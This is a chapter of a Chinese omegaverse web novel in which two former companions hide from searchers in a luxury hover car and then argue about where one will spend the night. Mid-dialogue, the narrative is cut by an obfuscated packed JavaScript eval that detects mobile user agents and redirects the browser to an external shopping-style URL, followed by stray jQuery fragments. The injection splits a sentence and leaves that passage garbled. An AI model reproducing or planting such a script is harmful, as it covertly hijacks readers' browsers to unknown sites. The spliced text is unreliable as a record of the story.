5. 解离症

作品:《和抛弃的小狗A结婚了

    直到感知到对方怀中的暖意,贺星楼才从解离的情绪中清醒过来。


    他这毛病已经有好几年。


    一旦出现无法处理的强烈情绪,他就会被迫陷入僵直状态,需要好半会儿才能找回身体的掌控权。


    不过作为穿越者,贺星楼也算经历过大风大浪,鲜少再遇到情绪失控的事情,因此这病的影响也不算大。


    ——只是现在的情形有点尴尬。


    几个小时前还在假装不认识的两个人,现在就这么站在雨中拥抱,一动不动,是在演苦情剧?还是打算双双感冒而死?


    贺星楼赶紧推了推近在咫尺的人:“你怎么在这里?”


    没想到时青泽很轻易就被他推开,退后两步才低低回答:“出来办事,凑巧。”


    真的吗?我不信。


    贺星楼怀疑地看他一眼。


    就在他还打算追问的事情,远方传来搜查官的声音。


    “是往这个方向跑的吧?!”


    “难搞,今晚下雨,把足迹都冲干净了!”


    “把无人机群放出来,我盯了很久了,那个Omega肯定是黑户,追!”


    贺星楼下意识就想找地方躲。


    时青泽迅速握住他的手臂:“跟我来,我开了车。”


    如今情况紧急,贺星楼自然爽快点头,跟了过去。


    时青泽的悬浮车停在一处刁钻偏僻的角落,车头朝内,直抵着死胡同,两侧玻璃又提前打开过隐私模式,就连无人机的探照灯也透不进分毫。


    贺星楼坐在副驾驶座上,总觉得时青泽的所有布置都恰到好处,更不像他所说的“凑巧”。


    他皱起眉,开门见山:“你是不是在跟踪我?”


    “嘘。”时青泽将食指竖在唇边,“他们过来了,先不要说话。”


    话音刚落,无人机群的嗡鸣声由远及近。


    匆匆的脚步声停在车的后方,迟疑地开始踱步。


    “贫民窟怎么可能出现这种豪车?未免有点可疑。”追过来的搜查官察觉不对。


    贺星楼的呼吸忽然缓了一瞬,不自觉看向主控台上的车标。


    的确是……就算把他身上器官都卖掉,也买不起的豪车。


    脚步声响起,那个起疑的搜查官准备朝车这边走来。


    另一道声线试图阻拦:“喂,你别过去啊,就算这车可疑,你要是不小心给磕到碰到,我们几个人的工资都赔不起。”


    脚步声骤停:“那只能用无人机飞过去看看。”


    时青泽就在这时蓦地动作起来。


    他先是抬手摁下主控台的按钮,只见主副驾驶座都无声无息地朝后退去,留出主控台下的大片空间来。


    贺星楼不解其意,只想着刚才搜查官说的“磕着碰着赔不起”,因此乖乖坐在位置上,没敢做多余动作。


    随即却见时青泽朝他拥抱过来,双臂一个用力就带着贺星楼藏至主控台下。


    天旋地转,贺星楼感觉到后脑勺枕住一片柔软,意识到是时青泽将手掌垫在他脑后,倾身朝着他压下来。


    “……”贺星楼微皱起眉,抬眼进行无声的质问。


    时青泽的神色却格外坦然,哪怕两人的距离间隔极近,他也以单手撑地,尽量不触碰到贺星楼的身体。


    随即他歪了歪头,侧耳去辨别无人机飞来的方向。


    机械嗡鸣声从后绕到车前,考虑到安全因素,悬浮车的前车窗并不会设置为隐私模式,因此无人机能顺利探测进来,探照灯如同光剑扫射着车内。


    “查探到什么了吗?”


    “似乎车里没有人。”


    时青泽谨慎地俯身,同贺星楼的面庞只有半指距离,两人共享同一寸空气,再稍稍动弹就能触碰到鼻尖或者脸庞。


    在这个世界中,只要Alpha和Omega没有处于发情期,社交距离下是不会闻到彼此身上的信息素的。


    但现在两人靠这么近,贺星楼很快就闻到若有似无的松木气息。


    三年前,在时青泽分化的时候,他也闻到过这种气息。


    贺星楼忍不住想侧头躲开,然而空间有限,要是他侧过头,就能触碰到时青泽的侧脸,完全像是主动献上一个亲吻;


    但要是不侧头,离他最近的则是时青泽的颈侧,又完全避不开从腺体飘散出来的Alpha信息素。


    贺星楼绝望地闭上眼睛,只能祈祷那些搜查官赶紧离开。


    而在他闭眼之后,时青泽却悄悄转过头来,脸上根本没有刚才的谨慎和警惕,只专注看着贺星楼的面庞,最后勾了勾唇。


    “里边没有人。”搜查官得出结论。


    “估计是哪家少爷出来寻乐子,别管了。”


    “浪费这么多时间,那个Omega也找不到了吧。”


    无人机的声音渐远,车外只传来几个搜查官略带懊恼的讨论。


    “有那个Omega的身份记录吗?就算是黑户,也会留下资料的。”


    听到这里,贺星楼的心头一紧,睁眼看向车窗外。


    “房间里没什么有用的线索,估计是他早有预料,提前把自己的资料转移走。他对隐私保护得很好,连张照片都没留下。”


    “倒是查到过他这几年的一些经历——”


    贺星楼彻底按捺不住,快速抬起手,以双手去捂住时青泽的耳朵。


    时青泽对他的动作十分惊讶,问询地看过来,但贺星楼只垂着眼眸,根本不看他。


    好在外头的搜查官并没有查到很深的信息,零散说了些贺星楼这几年来的兼职工作,都不痛不痒。


    雨声渐停,搜查官的脚步声也渐行渐远。


    贺星楼将拢在时青泽耳边的手放下:“可以起来了吗?”


    时青泽迅速起身,正朝着贺星楼伸出手,打算将他拉起来,可贺星楼直接避开,淡着神情回到副驾驶座上。


    他丝毫没有打算解释刚才的行为,只点开通讯器:“今天多谢你,我现在给我朋友打电话,会有人来接应我的,你要是有其他事情,可以先去忙。”


    时青泽垂下手来,不动了。


    “你要联系谁来接你?宋枭?还是林书彦?还是你今天选中的相亲对象?”


    就算再迟钝,贺星楼也能听出他话里隐约的不悦。


    贺星楼停下动作:“这似乎是我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004791|194028||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的私事,你是不是管得太多?”


    他看到时青泽的神色僵住,车内的气氛骤然紧绷。


    贺星楼收回视线,继续在通讯器上翻看联系人,心思却渐渐飘远了。


    其实从三年前捡到时青泽以来,两个人还从未这么剑拔弩张过。


    哪怕是最后贺星楼狠心将他丢在下着大雪的游乐场,当年的时青泽也只会淌着眼泪说哀求的话。


    如今时青泽刻意提起相亲对象,他的确是不高兴的,但想到曾经摔在雪地里的少年,他又忍不住心软。


    那个时候……时青泽才刚分化成Alpha,甚至还发着高烧。


    他以为是自己在分化时做错了事,或者是分化成贺星楼不喜欢的性别,贺星楼才不要他。


    但不是那样。


    只有贺星楼清楚,根本不是因为那个原因。


    想到这里,他缓声开口:“抱歉……”


    “对不起,是我错了。”


    两个人几乎同时出声。


    贺星楼语结,时青泽却抢先说起来:“是我错了,相亲是你的私事,我不该多嘴。”


    这种迅速滑跪的态度……还叫贺星楼怎么生气?


    时青泽继续解释,语气带着好声好气的商量:“我并不是想插手你的事情,只是觉得现在已经很晚,你能联系上对方吗?”


    他这倒是提醒了贺星楼。


    如今已经是凌晨三点,自己的两个朋友又都有伴侣,现在肯定已经睡着,贺星楼不能临时去打扰人家。


    至于相亲对象……那是时青泽的主观臆断,根本不在他的考虑范围内。


    贺星楼思忖着缓缓开口:“那我还是自己找个地方——”


    “去我家好不好?”时青泽开口打断。


    贺星楼立马回绝:“不行,我不能一直麻烦你。”


    “不麻烦,顺路。”又是一句秒回。


    贺星楼觉得他的“顺路”就和“凑巧”一样不可信。


    “哥哥。”


    见他不说话,时青泽蓦地探身过来,试图与他对视。


    贺星楼注意到他穿的还是在密室里的那套衣服,哪怕被雨水冲刷过,他胸前依然能辨认出那道子弹痕迹。


    时青泽继续说服他:“我人都已经在这里了,反正我也要回家,这句顺路不骗你。更何况当初是你捡到我,才让我活了下来——”


    “别说了。”贺星楼听不得他提起从前,打断道。


    他逃避似的侧头看向车窗外,如今隐私模式被取消,他能透过夜幕看到空旷荒凉的贫民窟街道,铁锈网被暴雨淋得摇摇欲坠,四处都没有可以藏身的地方。


    其实他也明白,如果时青泽离开,或许他今晚就要流落街头,更糟糕的情况,他或许还会遇上折返的搜查官。


    贺星楼的喉咙哽了下,带着点颤意说:“好,我……我可以付你钱。”


    这是他唯一能想出来,不亏欠时青泽的方式。


    虽然他也并没有多少钱。


    时青泽沉默了下,点点头:“好,就当是我把房间租给你。”


    说完,悬浮车的引擎发动,在这片毫无生机的贫民窟腾空而起。